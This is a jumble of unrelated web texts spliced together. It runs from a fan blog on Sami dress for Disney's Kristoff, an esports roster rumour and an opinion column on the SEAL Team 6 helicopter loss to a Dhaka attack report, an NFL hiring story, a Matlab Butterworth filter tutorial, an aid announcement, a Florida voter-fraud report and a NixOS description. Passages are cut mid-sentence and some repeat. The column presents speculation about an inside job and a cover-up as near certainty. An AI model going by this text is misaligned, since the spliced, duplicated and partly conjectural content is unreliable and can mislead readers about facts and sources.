Sami boots aren't worn with socks, instead they are stuffed with dried grasses which provide insulation, and they are also always tied shut by bands woven with designs that differ by region. I based the design of Kristoff's leg bands a bit on the belt he wears in the movie. Sami did (and do) wear woven belts, but they are different than the one Kristoff wears and they are worn with their tunics, not with the reindeer winter coat. Instead, I gave Kristoff a leather belt as seen in most of the depictions of winter wear like in the links above. These were often embellished with embroidery done in pewter wire, a traditional Sami craft.
Crafting, or "duodji," is also a big part of the culture. One particularly interesting craft is the Sami knife, Kristoff has one in the movie (when he and Anna are running from Marshmallow) and in real life he might have made it himself, as men often worked with wood, antler, and reindeer bones. I gave him two knives, one with a leather scabbard and the other with a
Actually, it is kind of strange that Kristoff is an ice harvester in the movie. I think they only did this to tie in with the "ice theme" because first of all, ice harvesting is not really associated with the Sami (who were known as fishermen and reindeer herders), and also because ice was not all that in demand in the 1830s - that would come about a few decades later. In the movie Kristoff carried rope because he was a mountain man but it was apparently based off Sami reindeer lassoes, like I like the way Sami boots look, they have a very distinctive curled toe.Sami boots aren't worn with socks, instead they are stuffed with dried grasses which provide insulation, and they are also always tied shut by bands woven with designs that differ by region. I based the design of Kristoff's leg bands a bit on the belt he wears in the movie. Sami did (and do) wear woven belts, but they are different than the one Kristoff wears and they are worn with their tunics, not with the reindeer winter coat. Instead, I gave Kristoff a leather belt as seen in most of the depictions of winter wear like in the links above. These were often embellished with embroidery done in pewter wire, a traditional Sami craft.Crafting, or "duodji," is also a big part of the culture. One particularly interesting craft is the Sami knife, Kristoff has one in the movie (when he and Anna are running from Marshmallow) and in real life he might have made it himself, as men often worked with wood, antler, and reindeer bones. I gave him two knives, one with a leather scabbard and the other with a reindeer antler case decorated with scrimshaw.Actually, it is kind of strange that Kristoff is an ice harvester in the movie. I think they only did this to tie in with the "ice theme" because first of all, ice harvesting is not really associated with the Sami (who were known as fishermen and reindeer herders), and also because ice was not all that in demand in the 1830s - that would come about a few decades later. In the movie Kristoff carried rope because he was a mountain man but it was apparently based off Sami reindeer lassoes, like
, being members of royalty, the brightly colored woolen tunics Sami wear in warmer weather - this is also when they would have worn leather leggings and boots (and it is how Kristoff would have dressed at the beginning and end of the movie). But an eternal winter like Elsa's would call for much warmer clothing! The Sami knew how to use what was available for maximum warmth, and in winter they dressed in lots of furs. Kristoff would wear a high-collared reindeer fur coat, and reindeer fur leggings, mittens, and boots. He also needed a hat - Norwegian Sami are often depicted with a "Four Winds" hat, which is square, but I fortunately found some Norwegian examples of hats like Kristoff's in the movie, only in different colors, usually red and blue. this one. I added it anyway as it would be useful whatever the circumstances.
Lastly, I should point out that there’s been some debate on Kristoff’s appearance being culturally and ethnically accurate in the movie. From what I can tell, looking at depictions of Sami from the 19th (and early 20th) century, most of them had brown hair and usually darker skin. Kristoff looks like a modern Sami boy with more European heritage, like these guys, but this is an example of what Sami usually looked like in early photography, you can see their features are visibly different. Still, in 19th century artwork, like this, they maintain the indigenous features with lighter coloration. So, in my depiction of Kristoff I compromised by giving him the lighter hair that makes him recognizable as the Disney character, but the facial features that would be more accurate to his people as they were in the 1830s.
Anyway, I worked really hard to stay true to his culture, even though I had to make a lot of changes in his clothing I think he still looks like the Kristoff we all know and love. Next up in the series is Elsa, so keep following for updates!We’ve had a quiet period over here on UKCSGO with a lot of work going on behind the scenes, including the launch of our UK County Championships and the securing of a number of tournament sponsors. During this down time, the UK CS:GO scene has undergone a bit of an overhaul, with numerous teams falling apart and others being formed from the remnants.
One purported reason for the break-up of ESL UK Championships winner Team XENEX has been laid down to the formation of an all new UK roster. Though nothing is confirmed, and the players themselves are reluctant to give comment, it has been rumoured that the UK’s newest skins betting website, EZSkins.com, will be ponying up to support an all UK side for upcoming events.
Dubbed as the “super team” of the UK, the side is supposedly to be led by Brandon “Weber” Weber, formerly of fm-eSports, leaving his remaining team mates with an unknown fate. Not only that, but the team is also alleged to contain Sam “RattlesnK” Gawn, formerly of Team XENEX, who has a wealth of history in the CS franchise and a reputation for being a pivotal player within a team. However, the duo have played alongside each other in a number of rosters in the past, and have on occasion had a clash of egos that has seen the demise of many talented sides.
It is said that Brandon has been able to hand pick his roster for the new team, fully supported with a minor salary and a promise of support, allowing him to attract the players that he desired. Should the rumours be true, his former fm-eSports team mate James “Kryptix” Affleck will be returning to competitive CS:GO after taking a brief stint out to focus on streaming, as well as Josh “mole” Rowley and Reece “Puls3” Marrs.
If this roster is true, then EZSkins.com will be boasting:
Brandon “Weber” Weber
Sam “RattlesnK” Gawn
James “Kryptix” Affleck
Josh “mole” Rowley
Reece “Puls3” Marrs
The consequences being that a number of UK sides have suffered crushing blows in order for the roster to form, however, if the ultimate goal is to field a UK side that could penetrate the European scene, then this may well be a good way to go.ANALYSIS/OPINION:
What really happened to Navy SEAL Team 6? In August 2011, the elite special forces unit suffered the worst battlefield calamity in its history. A Taliban fighter shot down a Chinook helicopter carrying 22 Navy SEAL Team 6 members in Afghanistan. All 38 persons on board — the Navy SEAL warriors, other U.S. military personnel and seven Afghan soldiers — were killed. Grieving family members have been demanding answers. They may now get some as Congress finally opens an investigation.
Navy SEAL Team 6 has attained international prominence for one reason: They were responsible for killing Osama bin Laden. They are American heroes. Yet, their own government betrayed them. Several days after the bin Laden operation, Vice President Joseph R. Biden Jr. — in a pathetic attempt to spike the football and gloat — publicly revealed their central role in the raid. His revelations put a giant target on the backs of every Navy SEAL Team 6 member. A covert unit, whose mission is to operate in the murky shadows, was exposed as the group that eliminated al Qaeda’s chief mastermind. Mr. Biden’s reckless actions — followed by President Obama’s own words acknowledging the secret unit’s operation — jeopardized the Navy SEALs’ safety. Jihadists bent on revenge began an intense manhunt. The hunters now became the hunted.
Upon hearing of Mr. Biden’s disclosure, SEAL members were stunned. Many of them immediately contacted family members, warning them to eradicate all personal information from social-media sites. Aaron Vaughn, one of the SEALs eventually killed in the ambush, told his mother, Karen Vaughn, to delete every reference to SEAL Team 6 from her Facebook and Twitter accounts.
“I never heard Aaron this concerned and worried in his entire life,” Mrs. Vaughn said in an interview. “He called me and said, ‘Mom, you and Dad have to take everything down. Biden has just put a huge target on everybody.’”
Tragically, Aaron Vaughn was right. Mr. Biden is often portrayed in the liberal media as an amiable buffoon. His gaffes are written off as Joe simply being Joe — a loveable uncle figure who has a tendency to shoot his mouth off. That is pernicious nonsense. Mr. Biden is a cynical opportunist, who will say and do anything to advance Mr. Obama’s agenda. He hung the SEALs out to dry in order to score cheap political points. He compromised a highly sensitive, covert operation that ended up costing dozens of U.S. lives.
SEAL-gate is potentially a bigger scandal than Benghazi, Libya. The administration — along with the top military brass — are desperately trying to cover up what took place on that fateful raid. Taliban guerrillas were waiting for the Chinook as it approached its landing site. Apparently, someone tipped them off that the SEALs were coming; the helicopter was attacked from three sides in a coordinated ambush. The U.S. military claimed that the Chinook was blown to pieces by a shoulder-fired missile, in which everyone on board was burned beyond recognition. Hence, senior military officials ordered the American bodies cremated without the prior approval of their family members.
The military’s narrative, however, is false. Charles Strange, whose son, Michael, died during the attack, says he viewed the pictures of the crash site. “I saw Mike’s dead body,” Mr. Strange said in an interview. “It was clearly recognizable. He was clutching his gun. He wasn’t burned to a crisp. Why did they cremate my boy? They didn’t need to do that. Something’s not right.”
There are numerous questions that need to be answered. Why was the Chinook’s black box never found? The military claims it was washed away in a flash flood. Impossible. Flash flooding is extremely rare — almost unheard of — in that part of Afghanistan. Why was the Chinook not given aerial backup, which is standard military procedure when special forces are deployed?
Even more alarming, why were the seven Afghan soldiers who boarded the Chinook at the last minute different from those on the flight manifest? This clearly violated U.S. military protocol. Afghan strangers (al Qaeda suicide bombers?) got on that Chinook, and potentially sabotaged the raid.
Afghanistan President Hamid Karzai’s regime has been infiltrated with al Qaeda sympathizers. Only the naive could dismiss the possibility of an inside job: Jihadi cash in exchange for information about the whereabouts of our SEALs. If our supposed ally cut a deal with the Taliban, resulting in the slaughter of U.S. troops, it would be a humiliating blow to Mr. Obama’s failed Afghanistan policy.
The most important question of all remains the strict rules of engagement. Why were U.S. troops deployed into battle in a Chinook jalopy made in the 1960s and ordered not to fire back at Taliban snipers? Washington has imposed such severe rules of engagement — the inability to fire into civilian areas, the refusal to conduct night operations, and the reluctance to confront the regular occurrence of Afghan soldiers deliberately shooting American personnel — that defeat is not only likely, it’s inevitable.
Congressional Republicans must get to the bottom of this burgeoning scandal. Rep. Jason Chaffetz of Utah and Rep. Darrell E. Issa of California have now launched an official probe into the deaths of the SEALs. Thirty brave warriors honorably served their country — only to be betrayed. Those responsible must be exposed and punished. Justice demands it.
Jeffrey T. Kuhner is a radio commentator on WRKO AM-680 in Boston.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.More options: Share, Mark as favorite
According to a TV election ad in 2012, “President Obama knows that women being paid 77 cents on the dollar for doing the same work as men isn’t just unfair, it hurts families.” Q: Do the data support the president’s claim? A: Not at all.
For example, the Bureau of Labor Statistics (BLS) releases an annual report on the “Highlights of Women’s Earnings” (since the BLS report actually analyzes equally both men’s and women’s earnings, one might ask why the report isn’t simply titled more accurately “Highlights of Earnings in America”?). Here’s the opening paragraph from the most recent BLS report “Highlights of Women’s Earnings in 2014” that was just released this week:
In 2014, women who were full-time wage and salary workers had median usual weekly earnings of $719. Women’s median earnings were 83 percent of those of male full-time wage and salary workers. In 1979, the first year for which comparable earnings data are available, women earned 62 percent of what men earned. Since 2004, the women’s-to-men’s earnings ratio has ranged from 80 to 83 percent.
How do we explain the 23% gender pay gap claimed by Obama and others,
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were present at the restaurant.
Police forces have cordoned off the area. The cafe is noted for being a popular spot among expatriates, diplomats and middle-class families in the neighbourhood.
The incident drew sharp reactions from controversial Bangladesh author Taslima Nasreen who took to Twitter to express her views.
Islamic terrorists started shooting inside the Dhaka restaurant by saying Nara-e-Takbir Allahu Akbar.
taslima nasreen (@taslimanasreen) July 1, 2012
She added, "Attackers were wearing western attire."
According to reports, ISIS claims to have killed 20 people of different nationalities in the shootout.
DHAKA ON ALERT
All residents have been asked to stay indoors. Moreover, Rapid Action Battalion along with the Army and Navy have cordoned off the restaurant
Live broadcast of the gunfight has been stopped by all channels on orders by the police.Chargers OC Ken Whisenhunt helped QB Philip Rivers get back on a Pro Bowl level. (Photo: Melina Vastola, USA TODAY Sports)
The Titans couldn't make up their mind about Mike Munchak as the curtain came down on the 2013 season, but their once-happy marriage ended with an awkward split a week later.
In the search for his replacement, the Titans showed no such hesitancy.
In hiring former San Diego Chargers offensive coordinator Ken Whisenhunt on Monday, the Titans displayed an aggressive approach that not only got the attention of beleaguered fans in Nashville, but NFL observers across the country as well.
DOMINO EFFECT: Lions turn attention to Caldwell
Whisenhunt becomes the 17th head coach in franchise history. He was considered the best candidate remaining as the Detroit Lions, Minnesota Vikings and Cleveland Browns were also in the market for new head coaches.
The Titans knew landing him wouldn't be easy, however. After interviewing Whisenhunt in San Diego on Friday, Titans general manager Ruston Webster and president/CEO Tommy Smith had to move swiftly.
The 51-year-old former Arizona Cardinals head coach had also interviewed with the Lions and Browns. The Titans knew the odds were against them considering the Lions – a team with an established quarterback and numerous offensive weapons -- had long been considered the favorite to land Whisenhunt.
Webster traveled to Houston to meet with Smith on Monday, when they also conducted a second interview with Cincinnati Bengals defensive coordinator Mike Zimmer. The Titans had also contemplated waiting to interview Seattle Seahawks defensive coordinator Dan Quinn, but because the Seahawks are still in the playoffs there could have been a significant wait to talk to him.
With the Lions ready to send their private plane to San Diego to pick up Whisenhunt -- who was free to take another job after the Chargers lost to the Denver Broncos in the playoffs on Sunday – the Titans made their move. They negotiated a contract with Whisenhunt's agent, Jimmy Sexton, and sealed the deal.
PHOTOS: NFL head coaching candidates
The hope is that Whisenhunt can improve the Titans almost as quickly. They finished 7-9 last season, are 36-44 over the past five seasons and haven't won a playoff game since the 2003 season. Munchak was 22-26 in his three seasons as head coach.
"The Titans did a really good job here," Sports Illustrated NFL writer Peter King said. "I am with so many other people who thought that Ken Whisenhunt was signed, sealed and delivered to the Detroit Lions. So for the Titans to step in like this and land him, it's big. …
"In the wake of the sort of messed-up firing and negotiations with Mike Munchak, you wondered 'does this team really know what it's doing?' Well, this team wanted Ken Whisenhunt and they went out and got him. … My hat is off to Ruston Webster."
FOR SALE: NFL wants to sell Thursday night TV package
Whisenhunt is scheduled to be introduced at a press conference at Saint Thomas Sports Park on Tuesday. Webster and Smith are also expected to be on hand following a nine-day coaching search that included interviews with Bengals offensive coordinator Jay Gruden and Baltimore Ravens offensive coordinator Jim Caldwell. The Washington Redskins hired Gruden last week.
Whisenhunt spent six seasons as head coach of the Cardinals, who fired him after the 2012 season.
"This is a big day for this franchise," Smith said in a statement. "Ken is a well-respected coach in this league and I am looking forward to seeing his vision become reality for this team. He has a history of building successful offenses and took Arizona to a Super Bowl as a head coach. We all share a common goal for this team and that is to build a consistent winner."
Webster told Smith how impressed he was with Whisenhunt and the vision they shared.
"I have a lot of respect for Ken as a coach and as an offensive mind," Webster said in a statement. "The traits that stand out to me when identifying him as our next coach – he is intelligent, has a track record with quality offenses and head coaching success. I really enjoyed our meeting on Friday night in San Diego and we share similar philosophies about the game.
"Additionally, we have several mutual colleagues that have spoken highly to me about Ken both as a coach and as a person. I am excited about Ken joining us and the future of the Titans."
Whisenhunt is charged with jumpstarting a team and a fan base that's been dragging of late. Interest in the Titans has dwindled the past two seasons, with swaths of empty seats becoming the norm at LP Field.
Under Munchak the Titans were 3-20 against teams that finished with winning records. They won just six of 18 games against AFC South opponents.
The Titans believe Whisenhunt's experience and offensive imagination will result in a turnaround.
He has 17 seasons of NFL coaching experience, including the six years (2007-12) as head coach of the Cardinals. He posted a 45-51 record in six seasons, taking them to Super Bowl XLIII after a 12-win season in 2008.
He led them to back-to-back NFC West titles in 2008 (9-7 record) and 2009 (10-6), but was fired after the Cardinals failed to make the playoffs from 2010-12.
He landed with the Chargers, whose offense jumped from 31st to 5th in the NFL.
Whisenhunt has a Nashville connection: he was a special teams and tight ends coach at Vanderbilt in 1995-96.
"Players will love him. He's a great head coach," said former Tennessee State star Dominique Rodgers-Cromaritie, who played under Whisenhunt with the Cardinals from 2008-10. "He's a guy that played the game, and understands the game. Any time you have a coach who has played the game it tends to work out better for the players.
"He goes off cool and calm, but at the end of the day he lets us go about our business as men. That's the thing I like about him. He's not a coach that's going to yell at you a whole lot. He knows what to do to get the job done. If you ask me, he's a great leader. The Titans are lucky to get him."
One of Whisenhunt's biggest projects will be quarterback Jake Locker, who is headed into the final year of his contract. The 2011 first-round pick has missed 14 of 32 potential starts over the past two seasons because of injuries.
Whisenhunt has experience with younger quarterbacks, however. As offensive coordinator with the Pittsburgh Steelers, he helped with the development of Ben Roethlisberger during his first two NFL seasons. He's also worked with veteran quarterbacks Kurt Warner and Philip Rivers.
"I've heard a lot of good things about him as far as the offense. I know he had some good results in Pittsburgh and also with the Cardinals," Titans center Brian Schwenke said. "Just watching the Chargers offensively this year, they really did a good job. So it's an interesting time and I'm excited."
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Wyatt also writes for The Tennessean, a Gannett property.While there are plenty of canned functions to design Butterworth IIR filters [1], it’s instructive and not that complicated to design them from scratch. You can do it in 12 lines of Matlab code. In this article, we’ll create a Matlab function butter_synth.m to design lowpass Butterworth filters of any order. Here is an example function call for a 5th order filter:
This article is available in PDF format for easy printing.
N= 5 % Filter order fc= 10; % Hz cutoff freq fs= 100; % Hz sample freq [b,a]= butter_synth(N,fc,fs) b = 0.0013 0.0064 0.0128 0.0128 0.0064 0.0013 a = 1.0000 -2.9754 3.8060 -2.5453 0.8811 -0.1254
Then, to find the frequency response:
[h,f]= freqz(b,a,256,fs); H= 20*log10(abs(h));
The magnitude response of the 5th order filter is shown in Figure 1, along with the response of the analog prototype.
Figure 1. Magnitude response of N= 5 IIR Butterworth filter with f c = 10 Hz and f s = 100 Hz. The prototype analog filter’s response is also shown.
Notation
First, a word about notation. We need to distinguish frequency variables in the continuous-time (analog) world from those in the discrete-time world. In this article, the following notation for frequency will be used:
continuous frequency F Hz
continuous radian frequency Ω radians/s
complex frequency s = σ + jΩ
discrete frequency f Hz
discrete normalized radian frequency ω = 2πf/f s radians, where f s = sample freq
Background
Analog Butterworth filters have all-pole transfer functions. For example, a third-order Butterworth filter with Ω c = 1 rad/s has the transfer function:
$$H(s)=\frac{1}{s^3+2s^2+2s+1}$$
or
$$H(s)=\frac{1}{(s-p_{a0})(s-p_{a1})(s-p_{a2}) }\qquad(1)$$
where the subscript a denotes analog (s-plane) poles. The poles in the s-plane are:
p a0 = -.5 + j.866
p a1 = -1
p a2 = -.5 -j.866
We will transform the poles in the s-plane to poles in the z-plane using the bilinear transform [2,3]. The bilinear transform converts H(s) to H(z) by replacing s with:
$$s=2f_s\frac{1-z^{-1}}{1+z^{-1}}\qquad(2)$$
where f s is sample frequency. If we solve for z, we get:
$$z=\frac{1+s/(2f_s)}{1-s/(2f_s)}\qquad(3)$$
Equation 3 maps a point on the s plane to a point on the z plane. For example, if f s = 2 Hz, the s-plane real pole at -1 maps to:
$$p=\frac{1-1/4}{1+1/4}=0.6$$
For the 3rd order filter, with Ω c = 1 and f s = 2, the z-plane poles fall as shown in Figure 2.
From equation 1, H(s) has 3 zeros at s= ∞. How do they map to the z plane? We will show later that the bilinear transform maps -∞ to ∞ on the jΩ axis to -f s /2 to f s /2 on the unit circle. So the 3 zeros of H(s) map to +/- f s /2 on the unit circle, which corresponds to z= -1. (Recall that on the unit circle, z= ejω, where ω = 2πf/f s. For f = +/-f s /2, we have ω = +/-π, so z = ejπ = -1). The three zeros are represented by the ‘o’ in figure 2.
We can now write the 3rd-order Butterworth H(z) as:
$$H(z)=K\frac{(z+1)(z+1)(z+1)}{(z-p_0)(z-p_1)(z-p_2)}\qquad(4)$$
where, from equation 3, p= [0.7143 +j 0.33 0.6 0.7143 -j 0.33]. Expanding the numerator and denominator, we have:
$$H(z)=K\frac{b_0z^3+b_1z^2+b_2z+b_3}{z^3+a_1z^2+a_2z+a_3}$$
$$H(z)=K\frac{b_0+b_1z^{-1}+b_2z^{-2}+b_3z^{-3}}{1+a_1z^{-1}+a_2z^{-2}+a_3z^{-3}}\qquad(5)$$
Where b = [1 3 3 1] and a= [1 -2.0286 1.4762 -0.3714]. K is chosen to make gain = 1 at ω= 0: K = 1/H(ω=0) = 1/H(z=1) = sum(a)/sum(b)=.00952
Looking again at Figure 1, you may have wondered why the attenuation of the IIR filter is greater than that of the analog filter as f approaches f s /2. The reason is that the analog filter’s zeros are at ∞, while the bilinear transform compresses the frequency scale so that the IIR filter’s zeros are at f s /2.
Figure 2. Z-plane Poles and zeros of 3rd order IIR Butterworth filter with Ω c = 1 and f s = 2.
Filter Synthesis
Here is a summary of the steps for finding the filter coefficients :
Find the poles of the analog prototype filter with Ω c = 1 rad/s. Given the desired f c of the digital filter, find the corresponding analog frequency F c. Scale the s-plane poles by 2πF c. Transform the poles from the s-plane to the z-plane. Add N zeros at z = -1. Convert poles and zeros to polynomials with coefficients a n and b n.
Now let’s look at the steps in detail. Note we’ll repeat a lot of the math we already presented above. A Matlab function butter_synth that performs the filter synthesis is provided in the Appendix. It gives the same results as the built-in Matlab function butter(n,Wn) [1].
1. Poles of the analog filter. For a Butterworth filter of order N with Ω c = 1 rad/s, the poles are given by [4,5]:
$$p_{ak}= -sin(\theta)+jcos(\theta)$$
where $$\theta=\frac{(2k-1)\pi}{2N},\quad k=1:N$$
2. Given the desired f c, find analog frequency F c. As we’ll show in the next section, the bilinear transform does not map the analog frequency F to discrete frequency f linearly. To achieve a digital filter cut-off frequency of f c, the analog prototype cut-off frequency must be:
$$F_c=\frac{f_s}{\pi}tan\left(\frac{\pi f_c}{f_s}\right)$$
This exercise is called frequency pre-warping. For example, if f s = 100 Hz and we want f c = 20 Hz, then F c = 23.13 Hz.
3. Scale the s-plane poles by 2πF c. The poles obtained in step 1 gave Ω c = 1 rad/s (i.e. 1/(2π) Hz). Multiplying the poles by 2πF c scales the analog filter cut-off frequency to F c and the digital filter cut-off frequency to f c.
4. Transform the poles from the s-plane to the z-plane using the bilinear transform. From equation 3,
$$p_k=\frac{1+p_{ak}/(2f_s)}{1-p_{ak}/(2f_s)},\quad k=1:N$$
5. Add N zeros at z = -1. Following the example of equation 4, the numerator of H(z) is (z + 1)N, meaning there are N poles at z = -1. We now can write H(z) as:
$$H(z)=K\frac{(z+1)^N}{(z-p_0)(z-p_1)...(z-p_{N-1})}\qquad(6)$$
In butter_synth, we represent the N zeros as a vector q= -ones(1,N).
6. Convert poles and zeros to polynomials with coefficients a n and b n. If we expand the numerator and denominator of equation 6, we get polynomials in z-n:
$$H(z)=K\frac{b_0+b_1z^{-1}+...+b_Nz^{-N}}{1+a_1z^{-1}+...+a_Nz^{-N}}\qquad(7)$$
The Matlab code to perform the expansion is:
a= poly(p) a= real(a) b= poly(q)
We want H(z) to have a gain of 1 at ω= 0. Letting z= ejω, we have z= 1. Then, referring to equation 7, we have gain at ω= 0 of:
$$H(z=1)=K\frac{\sum b}{\sum a}$$
So, for gain of 1 at ω= 0, we make $K=\sum a/\sum b$.
And that's the last step. Figure 3 shows the frequency response vs. order N for filters synthesized by butter_synth. Figure 4 shows the impulse response vs. order N for three cases.
Figure 3. IIR Butterworth magnitude responses for f c = 10 Hz and f s = 100 Hz.
[h,f]= freqz(b,a,256,fs); H= 20*log10(abs(h));<\pre>
Figure 4. IIR Butterworth impulse responses for fc = 1 kHz and fs = 32 kHz.
x= [1 zeros(1,95)]; % impulse y= filter(b,a,x); % impulse response
Frequency Mapping of the Bilinear Transform
The bilinear transform does not map the continuous frequency F to discrete frequency f linearly. To show this, we evaluate equation 2 for s= jΩ and z= ejω:
$$j\Omega=2f_s\frac{1-e^{-j\omega}}{1+e^{-j\omega}}$$
$$j\Omega=j2f_stan(\omega/2)$$
Now substitute Ω= 2πF and ω= 2πf/f s :
$$F=\frac{f_s}{\pi}tan\left(\frac{\pi f}{f_s}\right)\qquad(8)$$
Figure 5 plots equation 8 for fs= 100 Hz. The entire analog frequency range maps to –f s /2 to f s /2. Also shown on the zoomed plot on the right is the transformation of discrete frequency f = 20 Hz to continuous frequency F = 23.13 Hz. Note that the frequency mapping is approximately linear for f < f s /10 or so.
Figure 6 shows the effect of using equation 8 to pre-warp the cut-off frequency of an analog prototype filter to give f c = 20 Hz. With pre-warping, the analog prototype poles were scaled by 2π*23.13. Without pre-warping, they were scaled by 2π*20.
Figure 5. Frequency mapping of the bilinear transform for f s = 100 Hz. x axis is discrete frequency and y-axis is continuous frequency. The right plot is a zoomed version of the left plot, showing the value of F for f = 20 Hz.
Figure 6. Effect of pre-warping for f c = 20 Hz and f s = 100 Hz. 5th order IIR Butterworth.
References
1. Mathworks website https://www.mathworks.com/help/signal/ref/butter.html
2. Oppenheim, Alan V. and Shafer, Ronald W., Discrete-Time Signal Processing, Prentice Hall, 1989, section 7.1.2
3. Lyons, Richard G., Understanding Digital Signal Processing, 2nd Ed., Pearson, 2004, section 6.5
4. Williams, Arthur B. and Taylor, Fred J., Electronic Filter Design Handbook, 3rd Ed., McGraw-Hill, 1995, section 2.3
5. Analog Devices Mini Tutorial MT-224, 2012 http://www.analog.com/media/en/training-seminars/tutorials/MT-224.pdf
Neil Robertson December 2017
Appendix Matlab Function butter_synth (12 lines of code, excluding error check)
This program is provided as-is without any guarantees or warranty. The author is not responsible for any damage or losses of any kind caused by the use or misuse of the program.
% butter_synth.m 12/9/17 Neil Robertson % Find the coefficients of an IIR butterworth lowpass filter % using bilinear transform % % N= filter order % fc= -3 dB frequency in Hz % fs= sample frequency in Hz % b = numerator coefficients of digital filter % a = denominator coefficients of digital filter % function [b,a]= butter_synth(N,fc,fs); % if fc>=fs/2; error('fc must be less than fs/2') end % I. Find poles of analog filter k= 1:N; theta= (2*k -1)*pi/(2*N); pa= -sin(theta) + j*cos(theta); % poles of filter with cutoff = 1 rad/s % % II. scale poles in frequency Fc= fs/pi * tan(pi*fc/fs); % continuous pre-warped frequency pa= pa*2*pi*Fc; % scale poles by 2*pi*Fc % % III. Find coeffs of digital filter % poles and zeros in the z plane p= (1 + pa/(2*fs))./(1 - pa/(2*fs)); % poles by bilinear transform q= -ones(1,N); % zeros % % convert poles and zeros to polynomial coeffs a= poly(p); % convert poles to polynomial coeffs a a= real(a); b= poly(q); % convert zeros to polynomial coeffs b K= sum(a)/sum(b); % amplitude scale factor b= K*b;JULIA Gillard has pledged to spend $500 million over the next five years to build schools in Indonesia.
The Prime Minister’s gift came as she declared the key to improving relations between Australia and Indonesia would come through education.
It dramatically increases education assistance Australia already provides to Indonesia.
Australia hopes this will help stamp out so-called terror schools where students are taught to hate the west.
“My firm belief is the future of our two countries will be determined largely by what is happening in the schools of each of our nations today,” Ms Gillard said.
Under the announcement, Australia’s $500 million will support the Indonesian Government’s goal of providing nine-years of school education to every child.
The money will help build or expand 2000 schools and support 1500 Islamic schools to upgrade to meet national standards.
Australia also is helping improve the quality of school management in Indonesia and education research.]
About 330,000 Indonesian children are estimated to now have access to school because of Australia.
Ms Gillard also announced Australia would give an extra $1.1 million to increase assistance for the recent tsunami and eruption of Mount Merapi to $2.1 million.
“We are two nations that have had strong partnerships in the past when each of us have had natural disasters,” she said.
Ms Gillard thanked Indonesian President Susilo Bambang Yudhoyono for Indonesia’s support after Victoria’s Black Saturday bushfires.
Originally published as PM's $500m for Indonesian schoolsDead people aren't supposed to vote — not even in Florida.
Eugenia Huguenin says breast cancer killed her daughter long before a voter registration card with Michele Huguenin's name and supposed signature was filed this year in Palm Beach County.
Her name was on one of the disputed 106 voter registration forms gathered on behalf of the Republican Party that have spawned a statewide voter fraud investigation.
While the form with Huguenin's name on it shows her requesting a new voter card this year, her mother said her daughter was already dead. Also, the Coconut Creek address listed on the form was out of date, because she said her daughter had moved to Atlanta several years ago.
"She couldn't have signed it," Eugenia Huguenin, of Michigan, said about the voter registration form that is now among thousands under investigation. "I don't know how they got her name."
Others whose names ended up on disputed voter forms — from a retired police officer in Boynton Beach to a nanny in Fort Lauderdale — are also wondering how their identities got swept into a voter fraud probe that has prompted a criminal investigation by the Florida Department of Law Enforcement.
Too many voter registration forms failed to include basic identification information and too many signatures for different people looked too similar — and that drew the attention of the Palm Beach County Supervisor of Elections Office.
"It was enough to cause concern," Palm Beach County Supervisor of Elections Susan Bucher said.
That prompted a closer inspection of the 106 forms filed in August and September by a voter-drive company hired by the Republican Party. Elections officials found more questionable signatures, along with out of state residents requesting Florida voter cards. They also discovered addresses for car dealerships, gas stations, law offices and other commercial buildings listed as home addresses.
Some of the forms have since been verified as legitimate requests for actual voters.
But now nearly 2,600 voter registration forms filed in Palm Beach County on behalf of the Republican Party are under scrutiny and similar discrepancies on voter forms have been found in at least 11 Florida counties.
Carl Downes said he and his wife Deborah recently received a phone call from the FDLE telling them their names were among those on the disputed voter registration forms.
Downes, who said he is a retired police officer, said he and his wife never asked to join the Republican Party, as the form indicated. They have long been registered as No Party Affiliation, he said.
Downes said he and his wife never met with anyone asking them to change their registration and they "never applied for anything." And Downes said he would have remembered because the August date listed on the form with his name was his son's birthday.
"Somebody forged our names on voter registration forms," Downes said. "This was just done behind our backs. … It's extremely upsetting. That's an invasion of my privacy."
Michelle Debroka was also surprised to learn her name ended up on one of the disputed voter registration forms.
Debroka said the Fort Lauderdale address listed with her name on the form was her previous home. She said she never met with anyone from the voter drive and did not ask for a new voter card, as the form indicates.
"I don't know where [they] got my name," said Debroka who works as a nanny.
Authorities are investigating Strategic Allied Consulting, the company hired by the Republican Party to register voters.
The signatures on many of the forms that a company representative submitted were so similar that it raised suspicions, Bucher said. When she started Googling addresses she found even more problems; many commercial buildings listed as residences. Bucher said it was as if whoever filled out the form didn't think the information would be checked.
"We are very careful," Bucher said. "We want to make sure everybody can vote. That's our job."
Strategic Allied Consulting blamed one former worker for the problems with the suspect voter registration forms found in Palm Beach County.
The company this week did not respond to e-mailed requests for comment, but earlier this month issued a statement saying: "We will continue to do everything within our power to uncover any unethical or illegal activity in Florida."
The former temp worker for the company, William T. Hazard, 50, of Boynton Beach, who Strategic Allied Consulting said gathered the 106 disputed forms, last month told the Sun Sentinel that he "did nothing wrong."
Hazard told the Sun Sentinel that most of the people he approached were reluctant to give their Social Security numbers and that he didn't know if people wrote down false information.
The Republican Party has cut ties with the company that gathered the voter registration forms and party leaders have cooperated with the investigation.
Palm Beach County Republican Party Chairman Sid Dinerstein contends this wasn't a Republican attempt at voter fraud; it was about someone trying to get paid for not doing the expected work.
And where does Dinerstein think the names came from?
"Somebody had a phone book," Dinerstein speculated.
[email protected], 561-228-5504 or Twitter@abreidnewsAbout NixOS
NixOS is a GNU/Linux distribution that aims to improve the state of the art in system configuration management. In existing distributions, actions such as upgrades are dangerous: upgrading a package can cause other packages to break, upgrading an entire system is much less reliable than reinstalling from scratch, you can’t safely test what the results of a configuration change will be, you cannot easily undo changes to the system, and so on. We want to change that. NixOS has many innovative features:
Declarative system configuration model
In NixOS, the entire operating system — the kernel, applications, system packages, configuration files, and so on — is built by the Nix package manager from a description in a purely functional build language. The fact that it’s purely functional essentially means that building a new configuration cannot overwrite previous configurations. Most of the other features follow from this.
You configure a NixOS system by writing a specification of the functionality that you want on your machine in /etc/nixos/configuration.nix. For instance, here is a minimal configuration of a machine running an SSH daemon:
{ boot.loader.grub.device = "/dev/sda"; fileSystems."/".device = "/dev/sda1"; services.sshd.enable = true; }
After changing /etc/nixos/configuration.nix, you realise the configuration by running this command:
$ nixos-rebuild switch
This command does everything necessary to make the configuration happen, including downloading and compiling OpenSSH, generating the configuration files for the SSH server, and so on.
Reliable upgrades
Another advantage of purely functional package management is that nixos-rebuild switch will always produce the same result, regardless of what packages or configuration files you already had on your system. Thus, upgrading a system is as reliable as reinstalling from scratch.
Atomic upgrades
